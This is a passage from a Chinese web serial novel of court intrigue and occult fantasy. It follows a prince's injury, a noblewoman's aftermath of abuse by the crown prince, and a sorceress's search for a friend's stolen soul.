马车顿时失控,在剧烈颠簸中,猛地冲向路边一块凸起的巨石!
“咔嚓!”刺耳的木材断裂声响起,车厢一侧车轮撞上巨石,整个车厢瞬间失去平衡,轰然向一侧倾倒!
“啊——!”车厢内传出一声女子的短促惊叫。
就在车厢翻倒之际,一道矫健的男子身影,如同猎豹般从斜刺里飞扑而至!
来人险险地在车厢边缘截住了那道被甩出的纤细身影,抱着她就地一滚,卸去大部分冲力。
几乎就在同时,马儿嘶鸣一声,冲下了路旁陡峭的山崖。
救人的男子,正是微服出行的朱玉国三皇子——赫连曜。
他方才恰在附近探查地形,目睹了那惊险一幕。
怀中的女子,面纱脱落些许,露出一双湿润惶然的明眸,以及小半张白皙下颌。
她惊魂未定,紧紧抓着赫连曜的衣襟,浑身微微发抖。
“姑娘,没事了。”
赫连曜松开她,刚要起身,眉头却猛地一蹙。
“主子!”他带来的两名便装侍卫,此刻才飞奔而至,见状大惊失色。
赫连曜摆摆手,试图站起。
却发现右小腿传来钻心刺痛,根本无法着力,额角瞬间沁出冷汗。
荣听雪见状焦急万分,也顾不得礼数,连忙上前查看:
“我知道有家医馆,坐堂的楚大夫医术极为高明,尤其擅长接骨正位!
我们速速送公子前去诊治!”
赫连曜忍着痛楚,抬起眼,目光落在荣听雪脸上。
尽管面纱遮住了大半容颜,但那双清澈灵动的眼睛,已足够让人印象深刻。
他并非重色之人,但此刻,却不得不承认,这双眼睛很美。
而且他依稀记得,那晚在皇宫凝辉堂内,正是她条理清晰,不卑不亢,轻轻巧巧就揭穿了宋白玉确实熟谙咒术。
是个聪慧且有胆识的女子。
“姑娘……认得那楚大夫?”赫连曜声音因疼痛而略显低哑。
“认得!我家与楚大夫是世交。”
见赫连曜没有反对,她随即看向车夫,“快!帮忙将公子扶上马车!”
一名侍卫查看后回报:“主子,我们的马……方才为了拦截惊马,也失足跌下崖去了。”
赫连曜闭了闭眼,真是祸不单行。
幸好车夫伤势不重,和两名侍卫一起,三人合力忙了半晌,总算勉强将马车修好。
荣听雪也顾不得什么男女大防,主动钻入车厢,坐在赫连曜身侧,小心翼翼地扶住他受伤的腿。
赫连曜看了她一眼,没有拒绝。
鼻尖萦绕着女子身上淡淡的清雅香气,在这逼仄的空间里,竟奇异地不那么令人反感。
马车在暮色中吱吱嘎嘎,朝着城内方向驶去。
等他们终于抵达“回春堂”时,天色早已黑透。
然而,医馆门口却挂着“歇业”的木牌,里面只有一个小药童在打扫。
荣听雪见状心中一沉,急忙上前询问:“小哥,楚大夫人呢?有急症病人!”
小药童抬起头,无奈道:“这位姑娘,您来得不巧。
楚大夫方才被京兆府的人急匆匆请走了,说是府衙里有要紧事,需要他老人家即刻过去一趟。
师父走时交代了,今晚怕是回不来。”
荣听雪回头望向马车方向,眼中充满了无助,“这……这可如何是好?”
第299章 没见过世面
车厢内,弥漫着木头断裂的粉尘味。
赫连曜靠坐在角落,右小腿处传来阵阵钻心刺痛。
他没有过多关注自己的伤势,深邃的目光透过车帘被掀开一角,落在那道纤细窈窕的身影上。
暮色已深,街边店铺檐下挂着的灯笼投下昏黄的光晕,勾勒出荣听雪略显单薄的轮廓。
她正焦急地向药童询问,清澈的眼眸里盛满了不作伪的担忧与急切。
是个心地纯善的姑娘。
他自小成长于朱玉国波谲云诡的皇室,见惯了尔虞我诈、骨肉相残。
太子暴虐嗜杀,二哥阴险毒辣,嫡亲的妹妹玉珠,则骄纵放浪,沉迷享乐。
所有人,都视人命如草芥。
他在无数明枪暗箭的夹缝中长大,早已习惯了事事权衡利弊。
像荣听雪这般正直纯挚的女子,简直就是话本中才会存在的人物。
来到大晋京城这段时日,关于这位荣家小姐的婚事,他也略有耳闻。
想到姜珩每日在玉珠面前那副卑躬屈膝的谄媚嘴脸,赫连曜唇角便忍不住勾起一抹冷笑。
那样一个徒有皮囊的软骨头,也配得上她?
一丝连他自己都未曾料想的念头,如同暗夜中悄然探头的嫩芽,悄然滋生……
然而念头刚冒出,便被理智与现实的寒冰覆盖。
朱玉国并非世外桃源,倘若此次顺利借兵,等待他的,将是更为凶险的漩涡。
她是大晋的名门贵女,养在深闺的娇花,该被人好生呵宠,一生平安。
荣听雪问询无果,提着裙摆,小跑着回到了马车边。
她微微喘息,仰起脸看向车厢内的赫连曜,眼中满是歉意与无措:
“公子,我……我平日极少出门,对京城其他药堂医馆也不太熟悉。
方才问了那位小哥,他说我们可以去城南的……”
“去昭明阁。”
“什么?”荣听雪一怔,以为自己听错了。
赫连曜脸上露出一丝轻快的笑意:
“不是说,凡京城百姓,遇到怪病异事,皆可前往昭明阁,向那位云司主求助么?”
他语气从容,甚至带着点调侃的意味,
“早就听闻云司主一手金针之术出神入化。
今日我这条腿能否保住,就托赖云司主妙手回春了。”
荣听雪听到这,不由抬起眼,认真看向面前的男子。
尽管他脸上戴着半幅金丝面具,但不难看出容貌气度,绝非凡人。
他这是……冲着云司主去的?
她沉吟片刻:“也好。既如此,我就不耽搁公子前去求医了。”
随后,她低声吩咐了车夫两句,又对赫连曜道,“公子,送您去昭明阁,车夫识得路。”
她飞快地说完,甚至不等赫连曜回应,便对着他福身一礼,脚步匆忙地朝主街走去。
在那里,她迅速拦住了一辆挂着出租灯笼的马车,与车夫说了几句,便矮身上车。
帘幕落下,那辆马车很快便汇入稀疏的车流,消失在了街角。
“殿下,”侍卫低声开口,“我们真要去昭明阁吗?”
赫连淡声道:“去。暗中护送她平安到家。确认她无恙即可,不必惊扰。”
两名侍卫对视一眼,面露迟疑。
殿下的腿伤如此严重,他们怎能放心留下他一人在这破马车里?
“怎么?”赫连曜嗤笑一声,“我一个大男人,不过是腿折了,脑子又没坏,还能在这京城里丢了不成?”
话未说完,他脸上的那丝淡笑便彻底消失,取而代之的是一种沉郁的凝重。
他微微阖眼,脑海中浮现出另一张俊美如画的脸。
——裴琰之。
他们原本约定,今日午后在城西十里外的落枫亭相见,有要事相商。
裴琰之心思缜密,算无遗策,且极重承诺。
即便遇到天大的突发变故无法赴约,也必定会设法传递消息。
绝不会这般毫无征兆地失约。
一种不祥的预感,如同冰冷的蛛丝,悄然爬上心头。
赫连曜睁开眼,眸色在车厢的阴影中显得格外幽深。
裴琰之……你究竟在哪?
是遇到了无法脱身的麻烦,
还是……出了什么,连你我都未曾预料的意外?
*
同一个夜晚,为心事烦扰辗转难眠的,远不止殷府或四方馆。
安王府内,南华郡主的闺房灯火通明,却弥漫着一股死寂之气。
陆倩波披散着长发,只着一身水粉色襦裙,坐在铺着柔软锦垫的梳妆台前。
面前宽阔的台面上,散乱地摆放着数十件珠宝玉器——
鸽血红的宝石戒指、龙眼大的东珠耳坠、水头极足的翡翠镯子、镶嵌着各色宝石的金钗步摇……
细白的手指上,近乎蛮横地戴了十几只不同款式、不同材质的戒指。
挤挤挨挨,几乎覆盖了每一节指节,衬得那双手愈发苍白瘦削。
她正用戴着这许多戒指的手指,缓慢而用力地抚摸着那些珠宝。
那些,太子派人送来府上的珠宝。
薛静姝端着一盅刚炖好的冰糖燕窝,推开女儿的房门,看到的就是这样一幕。
她的脚步顿在门口,心头像是被什么东西狠狠揪了一下。
她定了定神,走上前将炖盅放在桌上,目光不由自主地落在女儿略显阴沉的侧脸上。
不过短短几日,那个曾经带着些许傲气天真的女儿,仿佛被抽走了所有的鲜活气。
那天晚上,她和夫君陆擎在京兆府衙门里,如同热锅上的蚂蚁,苦苦煎熬整整一夜。
每一刻都在提心吊胆,以为随时会传来女儿遭遇不测的噩耗。
然而,次日临近晌午,管家却面色古怪地匆匆赶来,手里捧着一封书信。
信拆开,里面竟是两封。
第一张,是女儿陆倩波的亲笔信笺。
字迹有些虚浮无力,内容却简单直接:
「爹、娘,女儿已平安归来,并无大碍。详情容后再禀,请爹娘速回王府团聚。」
看到熟悉的字迹和“平安”二字,薛静姝几乎当场瘫软,喜极而泣。
第二封,是太子的亲笔信。
「安王叔台鉴:
令嫒倩波,娴雅端方,孤甚为欣赏。
昨夜倩波偶遇意外,孤恰逢其会,已妥善安置。
为郡主声名计,孤不日定当上奏父皇,恳请赐婚。
此乃天定姻缘,亦安王府之幸。
请王叔尽快筹备嫁女事宜,静候佳音。」
薛静姝眼见丈夫的脸色,瞬间变得铁青,捏着信纸的手指用力到颤抖。
她心中不安,想要接过信纸细看,陆擎却猛地将信纸揉成一团,死死攥在掌心,塞进了袖口。
随后,陆擎强忍着喷薄而出的怒火与**,转向面露疲惫的京兆府尹,声音干涩地说:
“赵大人,劳烦一夜,原是虚惊一场。府上的人刚刚来报,已然……找到小女了。”
彼时的赵悉,正为自己平安度过“桃花劫”而庆幸不已,闻言更是松了一口气。
他挥挥手,说了两句安抚的场面话。随即又对陆擎叮嘱道:
“既然郡主已平安回府,昨夜惊动之处……
尤其是长公主府那边,怕还需要王爷亲自登门,知会一声才好。”
这话点醒了陆擎夫妇,也让他们的脸色更加难看。
昨夜到了后半夜,薛静姝因担忧女儿几乎崩溃,不顾陆擎几次三番解释,坚持认为女儿是被长公主府暗中掳走或加害,哭闹不休。
陆擎被逼无奈,只得硬着头皮,
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命人去敲公主府的大门。
央求门房传话,说安王府走失了南华郡主,若有任何线索或消息,万望告知。
深夜叨扰,实属无奈,他日必当登门叩谢,负荆请罪。
这简直就是明摆着告诉长公主府的人,我们黄河王妃,怀疑你们公主府掳走了南华郡主。
如此,彻底把长公主得罪死死的!
赵悉当时冷眼瞧着陆擎夫妇办了这桩糊涂事,心中明镜似的,却一言不发,更未劝阻。
认识云昭这小半年,经历了诸多风浪,他悟出了一个道理:尊重他人命运。
有时,眼看着蠢人非要往火坑里跳,你若是强行阻拦,说不定不仅拦不住,还会被那昏了头的人一并拽进坑里,惹上一身腥。
若是袖手旁观,事后又难免落下见死不救、冷血无情的埋怨。
最好的办法,便是装作没看见,并且尽快抽身离开。
避免被这糊涂官司沾包,引火烧身。
是以,赵悉只装作困倦已极,打了个大大的呵欠,疲惫道:
“两位若困乏,可往客房歇息。本官奔忙一天,得回房补觉了。”
说罢,干脆利落地转身离去,将一脑门子官司的安王夫妇留在了原地。
安王夫妇回到安王府,一眼便见到换了一身新衣,站在屋中的女儿。
彼时陆倩波脸色苍白,双眼却亮得出奇。
见到爹娘,她第一句话,不是哭诉委屈,不是解释缘由,而是一句近乎命令的宣告:
“爹,娘,我要做太子妃。”
话音未落,陆擎压抑了一路的怒火瞬间爆发,抬手便狠狠抽了女儿一记耳光!
“孽障!”陆擎气得浑身发抖。
自那天起,这对原本还算亲厚的父女,心中结下了难以化解的仇怨。
然而,与丈夫陆擎的坚决反对不同,薛静姝在经历了最初的震惊与绝望之后,本已沉入谷底的心,却一点点活泛过来。
太子就算有千般不好、万般不堪,那也是太子,是国之储君,未来的皇帝!
秦王萧启倒是顶天立地、光明磊落的大英雄,可那又如何?
人家眼高于顶,心中只有云昭一人,根本看不上自家女儿!
而且,除非陛下能凭空变出个年长的皇子,夺了太子储位,否则难道还真能废了太子不成?
若真有那天,以太子的心性和多年经营,又岂会是吃素的?
简言之,在薛静姝看来,如果不考虑太子个人品性,单从利益来看——
这太子妃之位,也并非坐不得!
而且,女儿已然“失身”于太子,这是无法改变的事实。
若不嫁入东宫,将来还能有什么好归宿?
谁会要一个被太子“沾染”过、且行止疯癫,闹得满城风雨的女子?
与其将来备受唾弃、蹉跎一生,不如抓住机会,坐稳这太子妃的位子!
薛静姝收敛起纷乱的思绪,将炖盅往女儿面前推了推:“倩波,先别摆弄那些了。
这是娘让人用血燕和雪蛤精心炖的,最是滋补养颜,对皮肤好。”
陆倩波闻言,抬起眼,淡淡地瞥了一眼那盅色泽晶莹的补品。
片刻,她突然伸手,猛地掀开了自己身上的襦裙。
“再好,能治好我身上这些吗?”
薛静姝猝不及防!
她没料到女儿会突然掀开衣服,更没料到,女儿衣裙下面,居然连肚兜都没穿。
她整个人如遭雷击,呆立当场,足足愣了好几息,才猛地回过神,发出一声短促的惊叫!
陆倩波却仿佛早已麻木,看着母亲失态的模样,唇角甚至勾起一抹笑意。
她慢条斯理地拉拢衣襟,语气平淡得令人心寒:
“母亲未免太没见过世面。这本也不算什么。”
第300章 师父
薛静姝嫁给陆擎多年。
虽然因为陆擎常年镇守南疆,夫妻聚少离多,房事不算频繁,但毕竟共同孕育了女儿。
男欢女爱,她自问是体验过的。
陆擎在床笫之间,或许不算多么热情温柔,但也绝谈不上粗暴。
更从未……从未在她身上留下过如此骇人听闻的伤痕!
至少,他从不咬人!
不会将女子最私密娇嫩的地方,咬噬得如此血肉模糊!
这哪里是男女欢好?这分明是酷刑!是凌虐!
“你……你方才那话是什么意思?”
薛静姝猛地扑上前,死死抓住女儿冰凉的手腕,
“‘这都不算什么’?他还要如何对你?”
对于女儿失贞,薛静姝心中已然接受了。
但她万万没有想到,事实竟会残忍到如此地步!
太子居然暴虐成性,对自己的女儿毫无半分怜惜!
陆倩波脸上那层冰冷的漠然,终于有了一丝波动。
那是一种混合着**、恨意、以及某种执念的复杂神情。
她没有直接回答母亲的问题,而是转而说道:
“前两天,我去东宫求见太子……他根本没有见我。”
她的声音很轻,却带着刺骨的寒意。
“我就在他的寝殿外等着,我听到里面……”
她停顿了一下,似乎在回忆,“我听到太子在夸奖姜绾心,说她……‘甚合孤意’。”
她没有详细描述,但那寥寥数语,已足够让薛静姝想象出那是一幅怎样不堪的画面。
而她的女儿,就站在那扇门外,亲耳听着自己未来的夫君,与别的女子颠鸾倒凤,还对那女子极尽夸赞。
陆倩波的眼神一点点变得阴鸷:“云昭……我如今是及不上了。
难道……连她那个声名狼藉的庶出妹妹,我也要比不过吗?!”
她的声音陡然拔高,带着不甘的嘶哑,
“姜绾心从前也是京中有名的贵女,琴棋书画样样精通!
如今入了东宫,在太子面前,不也一样要放下身段,小心侍奉,曲意承欢?!”
她忽而从梳妆台前站起身,赤着脚,走到那面巨大的水银镜前。
镜中映出一张苍白消瘦,带着浓浓执念的脸。
她拿起一把**梳,缓慢地梳着垂散在肩头的发丝:
“我现在这样……可见是还没领悟,该如何‘好好’侍奉太子殿下。”
她对着镜中呆若木鸡的薛静姝,用一种让人毛骨悚然的平静语调说道:
“母亲,去帮我请一位师父吧。”
薛静姝彻底怔住,完全跟不上女儿这跳跃的思路:“什么师父?”
陆倩波缓缓转过身,直视着母亲的眼睛。
那双曾经明亮的眸子,此刻只剩下冰冷的决心与一种令人不安的狂热:
“能教我如何讨好男子的师父。
教我如何固宠,如何拿捏人心,如何……让我稳稳坐住太子妃之位,乃至将来皇后之位的师父。”
她微微歪头,露出一个带着天真残忍意味的笑容:
“母亲,为了我的将来,为了安王府的荣耀……您一定会为我寻来这样的师父的,对吗?”
*
昭明阁。
云昭从后堂那间密室中走出,步履略显虚浮。
汗水将她的衣衫彻底浸透,紧紧贴在身上,勾勒出清瘦却紧绷的线条。
她整个人仿佛刚从水中捞起一般,脸色是一种消耗过度的苍白,连嘴唇都失了血色。
即便如此,她眉宇间未见分毫轻松之色,反而笼罩着一层前所未有的凝重。
好在母亲与温姨早已安歇,昭明阁内一片静谧。
否则,若是见到她这副模样,还不知要如何心焦忧虑,追问不休。
就在方才,她独自一人在密室内,几乎用尽了《万咒典》中记载的所有寻踪觅迹之法。
但所有指向性的探查术法,都失效了。
至此,云昭心中彻底明确,裴琰之丢失的“爽灵”一魂,绝非意外迷失。
而是被人以极其高明邪术强行摄走,又以特殊手段封禁了起来!
施术者对此早有准备,防的就是玄门中人的寻魂之法!
她当然不是没有更强力的秘术。
但“爽灵”如今掌控在他人之手,她若贸然以强力手段冲击,必定会打草惊蛇!
一旦对方察觉,极有可能选择直接摧毁“爽灵”!
到了那时,纵使大罗金仙降临,也回天乏术!
这还是云昭自掌握《万咒典》传承以来,第一次遭遇如此束手束脚的困境!
与人斗法,哪怕对方修为再高深,她也有信心战而胜之;
但如今,敌暗我明,对方的要害尚未找到,己方至关重要的“人质”却已落入敌手。
她空有万千手段,却因忌惮伤及兄长安危,根本不敢轻易施展。
这种憋闷与无力感,如同蛛网缠身,让她心头沉甸甸的。
最终,她只能耗尽心力,布下阵法,暂时稳固住现有的二魂七魄,防止它们因“爽灵”缺失而产生离散。
七日之内,只要她能安全引回“爽灵”之魂,一切都还来得及!
在莺时的搀扶下,云昭快速沐浴更衣,洗去一身汗渍。
当她终于躺到床榻伤,只觉得四肢百骸都像散了架,眼皮重如千斤……
然而,就在她将睡未睡之际,外间似乎传来了压低的话语声。
紧接着,房门被轻轻叩响。
“司主?”是雪信的声音,“门房方才收到一件东西,指名务必即刻呈给您。”
云昭强撑着最后一丝清明,含糊地应了一声:“进。”
雪信轻手轻脚地进来,将一个没有任何标记的素白信封放在她枕边。
“送信的是个面生的小乞丐,只说是一位蒙面姐姐给了跑腿钱,让他务必送到昭明阁云司主手中。
奴婢检查过,信封无毒,也无异常气息。”雪信
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低声禀报。
云昭勉强睁开眼,摸索着打开信封,里面只有一张质地普通的笺纸。
就着朦胧的灯光,她看清上面是一行清秀娟雅、却略显急促的女子字迹:
「今日偶遇一陌生男子,自称腿伤,欲往昭明阁求治。
妾观其行止有异,所携侍卫亦非常人,恐对司主不利,特此告之。
万望司主慎察。」
没有落款,没有多余信息。
云昭盯着这没头没脑的信笺,混沌的脑子勉强转了转。
“知道了。”
只要不是天塌下来,先让她睡饱这一觉再说。
*
三皇子在侍卫的搀扶下,甫一踏上台阶,目光便与门房长生对上。
这什么眼神?防他跟防贼似的!
他们昭明阁的门房,都这么横的吗?
三皇子赫连曜摸不着头脑,甚至连话都不敢说,沿途都在默默观察。
然后就发现,也不知是什么缘故,从引路的小厮,到奉茶的侍女,所有人看他的眼神都格外不善。
赫连曜:“……”
之前也没听说啊,难道昭明阁还歧视外国人?
还是说,他们平日见多了疑难杂症的访客,他这区区腿伤,实在不够看?
他被引至前厅稍坐。
不多时,一名身着玄察司特有服侍的年轻女子走了出来。
墨七一进厅,目光如电,瞬间锁定赫连曜,脚步几不可察地顿了一下。
墨七:“……”
就这面具,也就骗骗不谙世事的小姑娘。
在墨七这等影卫眼中,赫连曜脸上的面具,约等于无。
唯一的作用,可能就是突出了他的俊美和富贵程度。
毕竟,这般精致的金丝面具,可不是什么人都能用得起的。
偏偏赫连曜还演得颇为投入,见她进来,立刻挣扎着想站起身。
还特别正式地抱拳行礼,语气诚恳:
“在下慕名而来,听闻云司主仁心仁术,神通广大……”
“……治腿的话,”墨七面无表情打断了他,抬手一指门外,
“前面路口左转,直走两条街,‘回春堂’,找楚大夫。
他的正骨手艺,是我们司主大人亲口认证过的,京城一绝。”
赫连曜:“……”
这楚大夫到底是有多出名?
怎么从荣听雪到昭明阁,谁都在推荐他!
他深吸一口气,压下心头的怪异感,决定不再绕弯子。
“腿伤不过是意外,在下今日冒昧前来,实是有一件私事,想恳请云司主相助。”
他顿了顿,目光诚恳地看向墨七:
“我与一位至交好友约定相见,他却无故失约,至今音讯全无。
我担心他的安危,心中实在难安。
久闻云司主占卜问卦之术通神,能窥天机,辨吉凶。
在下别无他求,只想请司主大人……为我这位朋友,卜上一卦,看看他如今身在何处,是否平安。”
第301章 滋补
楚大夫也没想到,行医大半辈子,临近花甲之年,竟然一跃成了京城权贵圈里炙手可热的“香饽饽”。
才从京兆府回来,拖着疲惫的身子整理完药堂的药材,又煎了一副安神汤给自己服下。
刚回到自家小院想歇口气,就被两名黑衣侍卫“请”上了马车,一路疾驰来到了昭明阁。
不过,这回的待遇倒是比在京兆府时强多了。
昭明阁内灯火温暖,茶香袅袅,甚至还贴心地为他这位深夜出诊的老大夫准备了暖胃的粥水做宵夜。
更让他意外的是,请他看的,也不算什么疑难杂症。
榻上那位年轻公子的腿伤,只是一处不甚严重的骨裂,兼有些软组织挫伤。
这种伤势,放在寻常中原书生身上,或许得卧床将养一两个月。但这位……筋骨强健,气血旺盛,显然是自幼习武、体魄极佳之辈。
用上他楚家秘制的接骨续筋膏,辅以适当的固定和内服汤药,不出半个月,保管能恢复如初,活蹦乱跳。
看完伤,开了方,已是深夜。
昭明阁的人客气地留宿,说是更深露重,老先生来回奔波辛苦,不如就在阁中厢房歇下,明早再回。
楚大夫一听,非但没推辞,老眼反而亮了亮,捋着胡子连连点头:“好好好,那老朽就叨扰了!”答应得那叫一个爽快。
自从前次竹山书院那桩奇案之后,他一直想找机会再与云昭切磋探讨一二。
奈**司主贵人事忙,听说前些日子不仅雷厉风行地与姜家彻底切割、自立门户;
还亲自出手勘破了母家苏氏那边一连串陈年旧案。
想必他就是来了,也未必能见着人。
他可是听说了,碧云寺的有悔大师,近来一直客居在昭明阁!
想他楚望舒,居然也有机缘能与有悔大师这等德高望重的佛门大德同住一个屋檐下,哪怕只是隔墙而居,也足够他回去跟老友吹嘘半辈子了!
这趟夜诊,来得值!
翌日,天刚蒙蒙亮,昭明阁便迎来了另两位不请自来的访客——
秦王萧启与京兆少尹赵悉。
赵悉顶着一对憔悴的黑眼圈,沉默地坐在桌边吃朝食。
昨晚在有悔大师的陪同下,他将自家府邸翻了个底朝天!
功夫不负有心人,还真让他找出了几样连有悔大师见了都直言“了不得”的古怪物件!
有悔大师虽然也是一夜未眠,但精神矍铄,眼神清明,比赵悉这个年轻人看起来状态好得多。
只是偶尔看向桌边那几样包裹严实的宝贝时,眼底会掠过一丝若有所思的凝重。
萧启那边显然也有所收获。
但他听闻昨夜云昭为救治裴琰之耗损过度,累得几乎虚脱,心中记挂。
故而一大清早,便命王府总管福伯备好了各式精致温补的早膳,装在多层食盒里,亲自提着,径直来到了昭明阁。
是以,当赫连曜一瘸一拐地挪进昭明阁前厅准备用早膳时,就被眼前这个“奇异”的组合惊呆了。
秦王萧启气场冷峻,坐在主位慢条斯理地喝着茶;
赵悉蔫头耷脑,正跟面前一碗鸡丝粥较劲;
旁边坐着昨晚给他看腿的楚老大夫,和一位闭目捻珠、宝相庄严的大和尚!
这昭明阁……还真是什么人都能凑一桌。
萧启听完墨七低声禀报赫连曜的来意后,只是略一抬眼,扫了赫连曜一下,并未戳破他的身份。
径自提起手边食盒,一语不发地起身,径直往内堂方向去了。
赵悉瞥了一眼萧启的背影,忍不住酸溜溜地咂咂嘴:“一大清早的,巴巴的亲自送吃食,还单独开小灶……啧啧。”
楚大夫闻言笑眯眯地捋着胡子道:“赵大人此言差矣。人家是正经的未婚夫妻,圣旨赐了婚的。
男人嘛,要想夫妻和睦,姻缘美满,自然要懂得心疼未来娘子。”
赵悉听得连连摇头。
经历了那倒霉的桃花劫,他现在最听不得的,就是姻缘二字。
*
云昭是被一阵极诱人的食物香气唤醒的。
她缓缓睁开眼,映入眼帘的是熟悉的帐顶。
昨夜透支般的疲惫感仍未完全散去,脸色透着消耗过度的苍白。
她刚想撑着坐起,一只温热的手已轻扶住了她的后背。
萧启不知何时已坐在床沿,另一只手正将食盒里的东西一样样取出,放在床头小几上。
冰糖燕窝粥、水晶蟹黄包、桂花糖藕、还有一小盅热气腾腾、药香扑鼻的补气汤。
“醒了?”萧启的声音比平日多了几分柔和,“先吃点东西。”
云昭坐起,两人距离极近,甚至能感受到他平稳有力的呼吸。
也不知怎的,一股丰沛温热的气息,从萧启贴在她脊背的手掌,源源不断传入她身体。
无需刻意运转玄瞳,仅仅是此刻近距离的感知,她便清晰地“看”到:
萧启的周身,气机流转圆融无碍,浑然一体。
自上次七玄钉被彻底拔除,萧启周身的气运流转已变得异常顺畅雄浑。
一身尊贵紫金中蕴含着磅礴生机的龙气,不再受任何阴邪阻滞,如大江奔流,循环不息,生生不绝。
这龙气不仅旺盛磅礴,更与他自身强悍的武道气血完美融合,使他整个人如同一轮初升的朝阳,散发着沛然莫御的生机与力量。
更令云昭惊讶的是,当他靠近她身畔,二人肢体相贴,那浑厚纯正的龙气,竟隐隐与她自身的灵力,产生了某种微妙的共鸣与滋养!
一丝丝极细微却精纯的暖意,如同春风化雨,悄然渗透进她干涸的经脉,滋润着她疲惫的神魂,加速着她灵力的恢复!
她忽然想起
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师父曾经对她说过的话。
师父说,她是清微谷这一代传人之中,唯一在玄术一道上天赋卓绝的弟子。
但他之所以最终决定倾囊相授,不仅仅是因为天赋。
修**玄术者,窥探天机,干预阴阳,运用非凡之力,多逃不过“五弊三缺”的命数。
所谓五弊,乃‘鳏、寡、孤、独、残’;
三缺,即‘缺钱、缺命、缺权’。
此乃天道平衡,亦是泄露天机、擅改命数所需承受的代价。
大多数玄门中人,或多或少都会沾上一两样。
师父当时看着她道:“昭儿……其实已占其一。出生便被亲生父亲弃于荒野,是为‘孤’。”
彼时,师父看着她眼神复杂,似有未尽之语。
但如今经历种种磨难,她已明白了师父的意思。
依照前世轨迹,她确实是孤星照命的格局。
虽身负真凤气运,却劫难重重,需历经亲缘淡薄,九死一生,方有可能在绝境中涅槃,真正凤鸣九天。
否则,便是中途夭折,气运消散的结局。
佛诞日前夜,有悔大师为她所批的第一道偈语便是:
「玄鸟司命,涅槃归来。火焚旧孽,鸣动九霄。」
如今想来,正暗合了她重生逆命、焚尽前尘罪孽、终将一飞冲天的命数轨迹。
这一世,她活了下来,挣脱了既定的惨死命数,也改变了无数人的命运。
而萧启身上这纯正浩大的龙气,竟能对她的玄术修为产生如此直接的助益,这是在出乎云昭的意料。
却也让她不得不开始正视与萧启的这段姻缘。
正当她心念转动之际,萧启忽然开口:“你似乎……好了一点。”
云昭微讶:“你能‘看’到?”
萧启的目光,一直停留在她的周身。
“第一次清晰感觉到。”他顿了顿,似乎在斟酌词句,“并非用眼睛看,更像是一种感应。仿佛我身上的‘气’,可以……分润一些给你。”
命格相连,气运交感。
云昭心中震动,一时不知该作何反应。
这种被另一个人,尤其是一个男人,以如此本源的方式“滋补”的感觉,让她觉得有些陌生,甚至……有一点点难以言喻的别扭和羞窘。
萧启却仿佛没有察觉她微妙的心绪。
反而认真地看着她,眸子越发幽深:“我的‘气’对你有益?
那……若是喝了我的血,是不是能帮你更快恢复?或者,对你施术更有助益?”
云昭正小口喝着燕窝粥,闻言差点呛到。
“你当自己是什么?话本子里吃了能长生不老的唐僧肉吗?”
心底却因他这近乎“傻气”的提议,漾开一丝复杂的暖流。
萧启见她反应,唇角几不可察地弯了一下,但眼神依旧认真:“只要对你有益。”
第302章 已有两月身孕
云昭被他唇角那一抹似笑非笑的弧度,看得心头莫名一跳,隐隐有些不自在。
她正欲开口说些什么,以打破这微妙的氛围——
“叩、叩。”
门外适时传来两声不轻不重的敲门声。
紧接着,便是赵悉那刻意拖长了调子的声音:
“殿下——!云司主——!日上三竿,时辰不早啦!
劳烦二位,暂且收了神通,出来主持大局可好?”
萧启眉头微蹙,显然对这番打扰颇为不悦。
云昭却已借由萧启身上龙气的滋养,恢复了不少精神,眼底的疲惫散去大半。
她扬声道:“知道了,稍等片刻。”
简单用过萧启带来的朝食,快速梳洗整理一番,云昭推门而出。
候在廊下的赵悉甫一瞧见她的模样,不禁“咦”了一声,眼中满是惊奇。
只见云昭衣着依旧清雅素净,未施粉黛,但双眸清亮,脸颊透着淡淡绯色。
整个人宛如一朵被晨露滋润过、又承接暖阳眷顾的国色牡丹,秾丽不可方物。
直到云昭步履轻盈地走出去好一段距离,赵悉还愣愣地站在原地,盯着她的背影,似乎没回过神来。
萧启从后面窝了他一脚,声音冷淡:“看什么看?没见过女子?”
赵悉一个趔趄,收回视线,摸了摸鼻子,小声嘀咕:
“女子倒是见得多了。就是觉得,云司主这状态……昨夜难道是炼丹去了。”
不是吃了仙丹,怎会这般容光焕发?
萧启懒得理他,迈步跟上云昭。
书房内,几人围桌而坐。
呈现在众人眼前的,是三件看起来并不算特别起眼的古旧物件。
第一件,是一枚巴掌大小、色泽深褐近黑的龟甲。
第二件,是一截约莫尺许长、小儿臂粗的焦黑木枝。
第三件,是一个仅有拳头大小、造型极其古朴的三足青铜小鼎。
云昭目光扫过这三件静静陈列的物件,眼瞳晶亮:“卜天灵龟甲,养魂雷击木,还有这……”
她指尖虚点那青铜小鼎,“都是难得一见、于玄门有益的好东西。”
一旁的有悔大师微微颔首,雪白的长眉下眼神澄澈如镜:
“阿弥陀佛。老衲随赵施主在侯府内外仔细探查过。
府上清气朗朗,忠烈之气浩然,并无邪气侵染或阵法残留等异常。”
云昭闻言,眉心轻蹙。
不应该。
殷家如此大动干戈,不惜以养女清白设局,甚至闹到京兆府公堂,只为将殷梦仙塞给赵悉……
若说毫无图谋,只是看中了赵悉本人,未免太过儿戏,也低估了殷弘业那只老狐狸的心计。
他们所图,必定与宁国公府有关,且是寻常金银无法衡量的东西。
几乎是在同一时刻,赵悉也摸着下巴,一脸百思不得其解地感慨:
“我真想不明白,那殷梦仙……到底看上我什么了?”
“虽说此次未能直接寻到‘目标之物’,但这三件东西,恰好我都用得上。”
云昭看向赵悉,“你说个数,我买了。”
她顿了顿,转向有悔大师:“大师,这尊‘山河祭鼎’,内蕴香火愿力,最是适合用来炼制‘大悲甘露丸’等普济救人的药物。
放在我处,用处反而不及大师。便赠与大师,也算物尽其用。”
有悔大师双手合十,坦然接受:
“此鼎确于炼制救人药剂有大用,老衲便厚颜收下,必不负此器,广施善缘。”
赵悉的反应却是极快,一听云昭说要“买”,立刻把头摇得像拨浪鼓。
“这话可就见外了!咱们什么交情?我赵悉是那种图钱的人吗?”
说着,他朝云昭讨好一笑:“只要往后多给我画些好用的符咒防身,不比什么金银实在多了?”
提起符咒,云昭带着一丝审视看向赵悉:
“我那日不是给了你许多符箓?”
他若乖乖听话带着,怎会如此轻易着了殷梦仙的道?
赵悉一听这话,顿时苦了脸:“现在回想起来,殷家那伙人,根本就是处心积虑,算准了每一步!
我刚一踏进殷府大门,一个站在梯子上修剪花枝的老仆,‘不小心’打翻了一桶浇花的污水,哗啦一下,淋了我半身!”
“寻常的污水,可毁不了我的符箓。”云昭唇角勾起一抹冷然弧度,
“可见那水里,怕是加了点‘料’。”
连赵悉身上可能携带符箓或护身之物都考虑到了,提前用这种法子破坏掉。
